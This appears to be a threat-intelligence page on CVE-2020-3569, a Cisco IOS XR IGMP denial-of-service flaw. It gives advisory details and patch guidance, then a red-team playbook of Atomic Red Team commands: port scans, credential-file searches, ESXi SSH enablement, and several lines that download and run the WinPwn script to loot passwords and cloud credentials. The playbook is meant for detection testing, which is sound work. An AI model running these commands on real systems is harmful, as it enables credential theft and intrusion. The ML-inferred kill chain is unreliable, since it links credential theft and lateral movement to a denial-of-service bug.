CVE-2020-3569

HIGH CISA KEV Pub 23/09 Upd 21/10

Overview

This vulnerability involves improper handling of Internet Group Management Protocol (IGMP) packets within the Distance Vector Multicast Routing Protocol (DVMRP) feature of Cisco IOS XR Software. Specifically, the flaw arises from incorrect memory management when processing crafted IGMP traffic, leading to uncontrolled memory consumption and potential process instability. The affected component is the IGMP process within the DVMRP feature of Cisco IOS XR versions 6.1.4 through 6.5.3.

Vulnerability Description

Multiple vulnerabilities in the Distance Vector Multicast Routing Protocol (DVMRP) feature of Cisco IOS XR Software could allow an unauthenticated, remote attacker to either immediately crash the Internet Group Management Protocol (IGMP) process or make it consume available memory and eventually crash. The memory consumption may negatively impact other processes that are running on the device. These vulnerabilities are due to the incorrect handling of IGMP packets. An attacker could exploit these vulnerabilities by sending crafted IGMP traffic to an affected device. A successful exploit could allow the attacker to immediately crash the IGMP process or cause memory exhaustion, resulting in other processes becoming unstable. These processes may include, but are not limited to, interior and exterior routing protocols. Cisco will release software updates that address these vulnerabilities.

Impact

An unauthenticated attacker can remotely disrupt network operations by crashing the IGMP process or exhausting device memory, leading to instability or failure of other critical routing protocols. This can result in denial of service conditions affecting network availability and routing stability. No user interaction or credentials are needed, enabling straightforward exploitation from the network. The disruption may affect both interior and exterior routing processes, potentially causing broader network outages or degraded performance.

Solution

Cisco has released software updates addressing these vulnerabilities in IOS XR versions later than 6.5.3. Administrators should apply the fixes as detailed in Cisco Security Advisory cisco-sa-iosxr-dvmrp-memexh-dSmpdvfz available at https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-iosxr-dvmrp-memexh-dSmpdvfz. Upgrading to the patched software versions is the recommended remediation; no alternative workarounds are specified in the advisory.

EPSS vs KEV Prediction — Evolution (30 days)

Full Analysis

The vulnerabilities in the Distance Vector Multicast Routing Protocol (DVMRP) feature of Cisco IOS XR Software stem from improper handling of Internet Group Management Protocol (IGMP) packets. This flaw allows an unauthenticated remote attacker to exploit the protocol by sending specially crafted IGMP traffic to affected devices. The immediate consequence of such an attack can be the crashing of the IGMP process, which is critical for managing multicast group memberships. Additionally, the exploitation can lead to memory exhaustion, causing the device to become unstable and affecting other essential processes, including both interior and exterior routing protocols. The severity of this issue is underscored by its high CVSS score of 8.6, indicating a significant risk to network stability and functionality.

Attack vectors for this vulnerability are particularly concerning due to the ease with which an attacker can initiate an exploit. An attacker does not require authentication to send malicious IGMP packets, making it feasible for anyone with network access to target vulnerable devices. By flooding the device with crafted IGMP traffic, an attacker can trigger immediate crashes or induce memory consumption that leads to cascading failures in other critical processes. For organizations relying on Cisco IOS XR Software for their network infrastructure, this presents a clear and present danger, as the potential for service disruption is high. Exploitation could occur in various scenarios, including during routine maintenance or periods of high network traffic, where the impact could be exacerbated.

The real-world implications of these vulnerabilities can be severe, particularly for businesses that depend on stable and reliable network operations. A successful attack could lead to significant downtime, disrupting services and impacting customer satisfaction. Furthermore, the instability caused by memory exhaustion could result in broader network issues, affecting not just the targeted device but also other interconnected systems. This could lead to financial losses, reputational damage, and potential legal ramifications if service level agreements (SLAs) are breached. In sectors such as finance, healthcare, and telecommunications, where uptime is critical, the risks associated with these vulnerabilities are magnified.

To detect and mitigate these vulnerabilities, organizations should implement a multi-layered security approach. Regularly updating Cisco IOS XR Software to the latest versions is essential, as Cisco has released patches to address these vulnerabilities. Network monitoring tools can help identify unusual IGMP traffic patterns, allowing for early detection of potential exploitation attempts. Additionally, implementing access controls to limit who can send IGMP packets to network devices can reduce the attack surface. Organizations should also conduct regular vulnerability assessments and penetration testing to identify and remediate any weaknesses in their network infrastructure proactively.

In conclusion, the vulnerabilities within the DVMRP feature of Cisco IOS XR Software represent a significant threat to network stability and security. The ease of exploitation combined with the potential for widespread impact necessitates immediate attention from organizations utilizing affected products. By adopting proactive detection and mitigation strategies, businesses can safeguard their networks against these vulnerabilities and ensure continued operational integrity.




CSURFACE threat intelligence has identified a marked escalation in detection activity related to CVE-2020-3569, indicating renewed or increased attempts to exploit vulnerabilities in the DVMRP feature of Cisco IOS XR Software. Despite this surge in telemetry signals, the Exploit Prediction Scoring System (EPSS) score has declined notably, suggesting that while exploitation attempts are more frequent, the overall likelihood of successful exploitation or widespread impact may be diminishing. This divergence underscores a complex threat landscape where adversaries may be probing or testing defenses without achieving consistent success. For defenders, this trend highlights the importance of maintaining vigilant monitoring and response capabilities, as increased activity could presage more sophisticated or targeted campaigns. The risk level remains high due to the critical nature of the vulnerability and its potential to disrupt network stability, but the current data suggests a nuanced threat environment with active reconnaissance rather than confirmed large-scale exploitation.

Affected Products (14)

Vendor Product Version CPE
cisco Cisco Ios Xr 6.1.4 cpe:2.3:o:cisco:ios_xr:6.1.4:*:*:*:*:*:*:*
cisco Cisco Ios Xr 6.2.3 cpe:2.3:o:cisco:ios_xr:6.2.3:*:*:*:*:*:*:*
cisco Cisco Ios Xr 6.3.3 cpe:2.3:o:cisco:ios_xr:6.3.3:*:*:*:*:*:*:*
cisco Cisco Ios Xr 6.4.2 cpe:2.3:o:cisco:ios_xr:6.4.2:*:*:*:*:*:*:*
cisco Cisco Ios Xr 6.5.3 cpe:2.3:o:cisco:ios_xr:6.5.3:*:*:*:*:*:*:*
cisco Cisco Ios Xr 6.6.2 cpe:2.3:o:cisco:ios_xr:6.6.2:*:*:*:*:*:*:*
cisco Cisco Ios Xr 6.6.3 cpe:2.3:o:cisco:ios_xr:6.6.3:*:*:*:*:*:*:*
cisco Cisco Ios Xr 7.0.2 cpe:2.3:o:cisco:ios_xr:7.0.2:*:*:*:*:*:*:*
cisco Cisco Ios Xr 7.1.2 cpe:2.3:o:cisco:ios_xr:7.1.2:*:*:*:*:*:*:*
cisco Cisco Ios Xr 7.1.15 cpe:2.3:o:cisco:ios_xr:7.1.15:*:*:*:*:*:*:*
cisco Cisco Ios Xr All cpe:2.3:o:cisco:ios_xr:*:*:*:*:*:*:*:*
cisco Cisco Ios Xr 6.1.4 cpe:2.3:o:cisco:ios_xr:6.1.4:*:*:*:*:*:*:*
cisco Cisco Ios Xr 6.4.2 cpe:2.3:o:cisco:ios_xr:6.4.2:*:*:*:*:*:*:*
cisco Cisco Ios Xr 6.4.3 cpe:2.3:o:cisco:ios_xr:6.4.3:*:*:*:*:*:*:*

Exploits

No exploits found for this CVE.

Exploited in Wild CONFIRMED
Ransomware NOT ASSOCIATED
Attacker Interest MEDIUM
Sightings Few sightings

Threat Feed

3 events
2026-06-23
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-19
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2021-11-03
Added to CISA KEV Catalog

CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040

Kill chain derived from the ML classifier.

Attack Vectors ML

Denial of Service
85% dos
Buffer Overflow
71% buffer_overflow
Remote Code Execution
55% rce

MITRE ATT&CK Techniques (6)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID Name Stage Tactics Platforms Link
T1190 Exploit Public-Facing Application Initial Access initial-access Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows
T1059 Command and Scripting Interpreter Kill Chain execution ESXi, IaaS, Identity Provider, Linux, macOS, Network Devices, Office Suite, Windows
T1542.001 System Firmware Kill Chain persistence, defense-evasion Windows, Network Devices
T1552.001 Credentials In Files Kill Chain credential-access Containers, IaaS, Linux, macOS, Windows
T1046 Network Service Discovery Kill Chain discovery Containers, IaaS, Linux, macOS, Network Devices, Windows
T1021.004 SSH Kill Chain lateral-movement ESXi, Linux, macOS

CAPEC Attack Patterns ML

ID Name ML Conf. Likelihood Severity Link
CAPEC-469 HTTP DoS
70%
Low
CAPEC-491 Quadratic Data Expansion
34%
CAPEC-482 TCP Flood
33%
CAPEC-130 Excessive Allocation
31%
Medium Medium
CAPEC-197 Exponential Data Expansion
31%
High Medium

Red Team Playbook

33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1021.004 ESXi - Enable SSH via PowerCLI Windows PowerShell Privileged
An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.
Command (PowerShell)
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
T1021.004 ESXi - Enable SSH via VIM-CMD Windows CMD
An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface. [Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)
Command (CMD)
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
T1046 Network Service Discovery for Containers containers Shell
Attackers may try to obtain a list of services that are operating on remote hosts and local network infrastructure devices, in order to identify potential vulnerabilities that can be exploited through remote software attacks. They typically use tools to conduct port and...
Command (Shell)
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
T1046 Port Scan Linux, macOS Bash
Scan ports to check for listening ports. Upon successful execution, sh will perform a network connection against a single host (192.168.1.1) and determine what ports are open in the range of 1-65535. Results will be via stdout.
Command (Bash)
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
T1046 Port Scan NMap for Windows Windows PowerShell Privileged
Scan ports to check for listening ports for the local host 127.0.0.1
Command (PowerShell)
nmap #{host_to_scan}
T1046 Port Scan Nmap Linux, macOS Shell Privileged
Scan ports to check for listening ports with Nmap. Upon successful execution, sh will utilize nmap, telnet, and nc to contact a single or range of addresses on port 80 to determine if listening. Results will be via stdout.
Command (Shell)
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
T1046 Port Scan using nmap (Port range) Linux, macOS Shell Privileged
Scan multiple ports to check for listening ports with nmap
Command (Shell)
nmap -Pn -sV -p #{port_range} #{host}
T1046 Port Scan using python Windows PowerShell
Scan ports to check for listening ports with python
Command (PowerShell)
python "#{filename}" -i #{host_ip}
T1046 Port-Scanning /24 Subnet with PowerShell Windows PowerShell
Scanning common ports in a /24 subnet. If no IP address for the target subnet is specified the test tries to determine the attacking machine's "primary" IPv4 address first and then scans that address with a /24 netmask. The connection attempts to use a timeout parameter in...
Command (PowerShell)
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
    $ip_list = $ipAddr -split ","
    $ip_list = $ip_list.ForEach({ $_.Trim() })
    Write-Host "[i] IP Address List: $ip_list"

    $ports = #{port_list}

    foreach ($ip in $ip_list) {
        foreach ($port in $ports) {
            Write-Host "[i] Establishing connection to: $ip : $port"
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} elseif ($ipAddr -notlike "*,*") {
    if ($ipAddr -eq "") {
        # Assumes the "primary" interface is shown at the top
        $interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
        Write-Host "[i] Using Interface $interface"
        $ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
    }
    Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
    $subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
    # Always assumes /24 subnet
    Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"

    $ports = #{port_list}
    $subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }

    foreach ($ip in $subnetIPs) {
        foreach ($port in $ports) {
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} else {
    Write-Host "[Error] Invalid Inputs"
    exit 1
}
T1046 Remote Desktop Services Discovery via PowerShell Windows PowerShell Privileged
Availability of remote desktop services can be checked using get- cmdlet of PowerShell
Command (PowerShell)
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
T1046 WinPwn - MS17-10 Windows PowerShell
Search for MS17-10 vulnerable Windows Servers in the domain using powerSQL function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
T1046 WinPwn - bluekeep Windows PowerShell
Search for bluekeep vulnerable Windows Systems in the domain using bluekeep function of WinPwn. Can take many minutes to complete (~600 seconds in testing on a small domain).
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
T1046 WinPwn - fruit Windows PowerShell
Search for potentially vulnerable web apps (low hanging fruits) using fruit function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
T1046 WinPwn - spoolvulnscan Windows PowerShell
Start MS-RPRN RPC Service Scan using spoolvulnscan function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
T1059 AutoIt Script Execution Windows PowerShell
An adversary may attempt to execute suspicious or malicious script using AutoIt software instead of regular terminal like powershell or cmd. Calculator will popup when the script is executed successfully.
Command (PowerShell)
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
T1542.001 UEFI Persistence via Wpbbin.exe File Creation Windows PowerShell Privileged
Creates Wpbbin.exe in %systemroot%. This technique can be used for UEFI-based pre-OS boot persistence mechanisms. - https://grzegorztworek.medium.com/using-uefi-to-inject-executable-files-into-bitlocker-protected-drives-8ff4ca59c94c -...
Command (PowerShell)
echo "Creating %systemroot%\wpbbin.exe"      
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
T1552.001 Access unattend.xml Windows CMD Privileged
Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored. If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.
Command (CMD)
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
T1552.001 Extract Browser and System credentials with LaZagne macOS Bash Privileged
[LaZagne Source](https://github.com/AlessandroZ/LaZagne)
Command (Bash)
python2 laZagne.py all
T1552.001 Extract passwords with grep Linux, macOS Shell
Extracting credentials from files
Command (Shell)
grep -ri password #{file_path}
exit 0
T1552.001 Extracting passwords with findstr Windows PowerShell
Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed.
Command (PowerShell)
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
T1552.001 Find AWS credentials Linux, macOS Shell
Find local AWS credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
T1552.001 Find Azure credentials Linux, macOS Shell
Find local Azure credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
T1552.001 Find GCP credentials Linux, macOS Shell
Find local Google Cloud Platform credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
T1552.001 Find OCI credentials Linux, macOS Shell
Find local Oracle cloud credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
T1552.001 Find and Access Github Credentials Linux, macOS Bash
This test looks for .netrc files (which stores github credentials in clear text )and dumps its contents if found.
Command (Bash)
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
T1552.001 List Credential Files via Command Prompt Windows CMD Privileged
Via Command Prompt,list files where credentials are stored in Windows Credential Manager
Command (CMD)
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
T1552.001 List Credential Files via PowerShell Windows PowerShell Privileged
Via PowerShell,list files where credentials are stored in Windows Credential Manager
Command (PowerShell)
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
T1552.001 WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials Windows PowerShell
Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive  
T1552.001 WinPwn - SessionGopher Windows PowerShell
Launches SessionGopher on this system via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
T1552.001 WinPwn - Snaffler Windows PowerShell
Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
T1552.001 WinPwn - passhunt Windows PowerShell
Search for Passwords on this system using passhunt via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
T1552.001 WinPwn - powershellsensitive Windows PowerShell
Check Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function.
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
T1552.001 WinPwn - sensitivefiles Windows PowerShell
Search for sensitive files on this local system using the SensitiveFiles function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput

Detection & Response Rules

No detection or response rules found for this CVE.

No news articles found for this CVE.

References (3)

Title Tags URL
nvd.nist.gov
NVD reference
https://nvd.nist.gov/vuln/detail/CVE-2020-3569
tools.cisco.com
GitHub CVE vendor-advisory x_refsource_CISCO
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-iosxr-dvmrp-memexh-dSmpdvfz
cisa.gov
NVD API US Government Resource
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2020-3569